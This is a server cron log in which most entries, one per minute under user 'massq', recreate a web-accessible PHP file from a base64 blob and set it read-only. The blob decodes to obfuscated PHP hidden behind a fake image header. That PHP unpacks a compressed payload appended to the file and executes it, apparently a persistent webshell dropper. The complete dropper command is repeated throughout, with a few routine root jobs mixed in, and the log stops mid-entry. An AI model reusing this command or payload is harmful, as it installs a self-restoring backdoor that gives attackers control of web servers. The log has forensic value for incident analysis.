Apr 11 04:03:01 server CROND[17415]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:04:01 server CROND[17481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:05:01 server CROND[17547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:05:01 server CROND[17548]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:05:01 server CROND[17549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:05:01 server CROND[17550]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 04:06:01 server CROND[17664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:07:01 server CROND[17724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:08:01 server CROND[17885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:09:01 server CROND[17958]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 04:09:01 server CROND[17959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:10:01 server CROND[18033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:10:01 server CROND[18034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 04:10:01 server CROND[18035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:10:01 server CROND[18036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:11:01 server CROND[18162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:12:01 server CROND[18220]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 04:12:01 server CROND[18221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:13:01 server CROND[18424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:14:01 server CROND[18497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:15:01 server CROND[18563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 04:15:01 server CROND[18564]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 11 04:15:01 server CROND[18565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 04:15:01 server CROND[18566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 04:16:01 server CROND[18689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3